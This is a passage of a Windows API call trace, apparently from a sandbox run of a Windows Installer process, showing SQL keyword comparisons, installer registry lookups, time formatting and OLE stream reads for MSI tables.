(lpString1="INTO", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="SET", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="VALUES", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="IS", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="CREATE", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="DROP", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="ALTER", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="TABLE", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="ADD", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="PRIMARY", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="KEY", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="CHAR", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="CHARACTER", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="VARCHAR", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="LONGCHAR", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="INT", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="INTEGER", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="SHORT", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="LONG", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="OBJECT", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="TEMPORARY", lpString2="3") returned 1 [0149.735] lstrcmpiW (lpString1="HOLD", lpString2="3") returned 1 [0149.736] lstrcmpiW (lpString1="FREE", lpString2="3") returned 1 [0149.736] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="3") returned 1 [0149.736] lstrcmpiW (lpString1="", lpString2="3") returned -1 [0149.736] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0149.736] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0149.736] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0149.736] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0149.736] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0149.736] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0149.736] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0149.736] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0149.736] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0149.737] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0149.737] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0149.743] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0149.744] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0149.744] GlobalUnlock (hMem=0xf40228) returned 0 [0149.744] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.745] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x38a)) [0149.745] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.745] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x38a)) [0149.745] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.745] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.745] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.745] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.745] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.745] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.747] FormatMessageW (in: dwFlags=0x800, lpSource=0xc20002, dwMessageId=0x754e, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Publishing product information\r\n") returned 0x20 [0149.748] lstrlenW (lpString="Publishing product information") returned 30 [0149.748] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.748] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x38a)) [0149.748] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.748] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x38a)) [0149.748] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.748] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.748] memcpy (in: _Dst=0x29f80be, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.748] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.749] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.749] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.750] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.750] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x38a)) [0149.750] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.750] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x38a)) [0149.750] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.750] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.750] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.750] memcpy (in: _Dst=0x29f80da, _Src=0x376446, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.750] memcpy (in: _Dst=0x29f80de, _Src=0x37644c, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.750] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.753] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde60 | out: phkResult=0x10cde60*=0x0) returned 0x2 [0149.753] GetCurrentThreadId () returned 0xf50 [0149.753] GetCurrentThreadId () returned 0xf50 [0149.753] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.753] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd820, TokenInformationLength=0x58, ReturnLength=0x10cd810 | out: TokenInformation=0x10cd820, ReturnLength=0x10cd810) returned 1 [0149.753] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd900, pSourceSid=0x10cd830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd900*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.753] ConvertSidToStringSidW (in: Sid=0x10cd900*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd8e0 | out: StringSid=0x10cd8e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.753] LocalFree (hMem=0x3c5a30) returned 0x0 [0149.753] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.753] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0149.753] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde60 | out: phkResult=0x10cde60*=0x0) returned 0x2 [0149.753] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.753] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0149.753] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde60 | out: phkResult=0x10cde60*=0x0) returned 0x2 [0149.753] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdde0 | out: phkResult=0x10cdde0*=0x0) returned 0x2 [0149.753] GetCurrentThreadId () returned 0xf50 [0149.754] GetCurrentThreadId () returned 0xf50 [0149.754] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.754] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd7a0, TokenInformationLength=0x58, ReturnLength=0x10cd790 | out: TokenInformation=0x10cd7a0, ReturnLength=0x10cd790) returned 1 [0149.754] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd880, pSourceSid=0x10cd7b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd880*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.754] ConvertSidToStringSidW (in: Sid=0x10cd880*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd860 | out: StringSid=0x10cd860*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.754] LocalFree (hMem=0x3c5a30) returned 0x0 [0149.754] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.754] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0149.754] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdde0 | out: phkResult=0x10cdde0*=0x0) returned 0x2 [0149.754] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.754] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0149.754] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdde0 | out: phkResult=0x10cdde0*=0x0) returned 0x2 [0149.754] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0149.754] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.755] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.755] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.755] lstrlenW (lpString="Icon") returned 4 [0149.755] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䆒䑲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cdf40, ppstm=0x0 | out: ppstm=0x0) returned 0x80030002 [0149.755] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.755] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.755] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.755] lstrlenW (lpString="Name") returned 4 [0149.755] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.755] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.755] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.755] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.755] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.755] GlobalUnlock (hMem=0xf40228) returned 0 [0149.755] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.756] GetCurrentThreadId () returned 0xf50 [0149.756] GetCurrentThreadId () returned 0xf50 [0149.756] SetEvent (hEvent=0x170) returned 1 [0149.756] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.757] memcpy (in: _Dst=0x37b06be, _Src=0x10cd7f8, _Size=0x2 | out: _Dst=0x37b06be) returned 0x37b06be [0149.757] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.758] memcpy (in: _Dst=0x37b06f2, _Src=0x10cdb18, _Size=0x2 | out: _Dst=0x37b06f2) returned 0x37b06f2 [0149.758] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0149.759] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.759] memcpy (in: _Dst=0x37b06f4, _Src=0x10cdb18, _Size=0x2 | out: _Dst=0x37b06f4) returned 0x37b06f4 [0149.760] memcpy (in: _Dst=0x37b06f6, _Src=0x10cdb18, _Size=0x2 | out: _Dst=0x37b06f6) returned 0x37b06f6 [0149.760] memcpy (in: _Dst=0x37b06f8, _Src=0x10cdb18, _Size=0x4 | out: _Dst=0x37b06f8) returned 0x37b06f8 [0149.760] memcpy (in: _Dst=0x37b06fc, _Src=0x10cdb18, _Size=0x2 | out: _Dst=0x37b06fc) returned 0x37b06fc [0149.760] memcpy (in: _Dst=0x37b06fe, _Src=0x10cdb18, _Size=0x4 | out: _Dst=0x37b06fe) returned 0x37b06fe [0149.760] memcpy (in: _Dst=0x37b0702, _Src=0x10cdb18, _Size=0x2 | out: _Dst=0x37b0702) returned 0x37b0702 [0149.760] memcpy (in: _Dst=0x37b0704, _Src=0x10cdb18, _Size=0x4 | out: _Dst=0x37b0704) returned 0x37b0704 [0149.760] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.761] memcpy (in: _Dst=0x37b0708, _Src=0x10cdd28, _Size=0x2 | out: _Dst=0x37b0708) returned 0x37b0708 [0149.761] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.762] memcpy (in: _Dst=0x37b0732, _Src=0x10cdd28, _Size=0x2 | out: _Dst=0x37b0732) returned 0x37b0732 [0149.762] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde60 | out: phkResult=0x10cde60*=0x0) returned 0x2 [0149.762] GetCurrentThreadId () returned 0xf50 [0149.762] GetCurrentThreadId () returned 0xf50 [0149.762] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.762] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd820, TokenInformationLength=0x58, ReturnLength=0x10cd810 | out: TokenInformation=0x10cd820, ReturnLength=0x10cd810) returned 1 [0149.762] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd900, pSourceSid=0x10cd830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd900*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.762] ConvertSidToStringSidW (in: Sid=0x10cd900*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd8e0 | out: StringSid=0x10cd8e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.762] LocalFree (hMem=0x3c5a30) returned 0x0 [0149.762] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.762] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0149.762] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde60 | out: phkResult=0x10cde60*=0x0) returned 0x2 [0149.762] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.762] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0149.762] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde60 | out: phkResult=0x10cde60*=0x0) returned 0x2 [0149.763] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\", UrlIs=0x0) returned 0 [0149.763] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\") returned 26 [0149.763] wcsstr (_Str="\\Users\\KEECFM~1\\Desktop\\", _SubStr="\\\\") returned 0x0 [0149.763] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.763] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0149.764] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0149.764] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.764] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.764] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.764] lstrlenW (lpString="Media") returned 5 [0149.764] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䈖䌧䠤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cdee0, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0149.764] IStream:Stat (in: This=0x32e790, pstatstg=0x10cde40, grfStatFlag=0x1 | out: pstatstg=0x10cde40) returned 0x0 [0149.764] GlobalLock (hMem=0xf40208) returned 0x3c2880 [0149.764] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x1, pcbRead=0x372cbc*=0xe) returned 0x0 [0149.765] memcpy (in: _Dst=0x10cdfb8, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x10cdfb8) returned 0x10cdfb8 [0149.765] memcpy (in: _Dst=0x10cdfb8, _Src=0x3728be, _Size=0x4 | out: _Dst=0x10cdfb8) returned 0x10cdfb8 [0149.765] memcpy (in: _Dst=0x3c288c, _Src=0x3728c2, _Size=0x2 | out: _Dst=0x3c288c) returned 0x3c288c [0149.765] memcpy (in: _Dst=0x3c2890, _Src=0x3728c4, _Size=0x2 | out: _Dst=0x3c2890) returned 0x3c2890 [0149.765] memcpy (in: _Dst=0x3c2894, _Src=0x3728c6, _Size=0x2 | out: _Dst=0x3c2894) returned 0x3c2894 [0149.765] memcpy (in: _Dst=0x3c2898, _Src=0x3728c8, _Size=0x2 | out: _Dst=0x3c2898) returned 0x3c2898 [0149.765] IUnknown:Release (This=0x32e790) returned 0x0 [0149.765] lstrcmpiW (lpString1="AS", 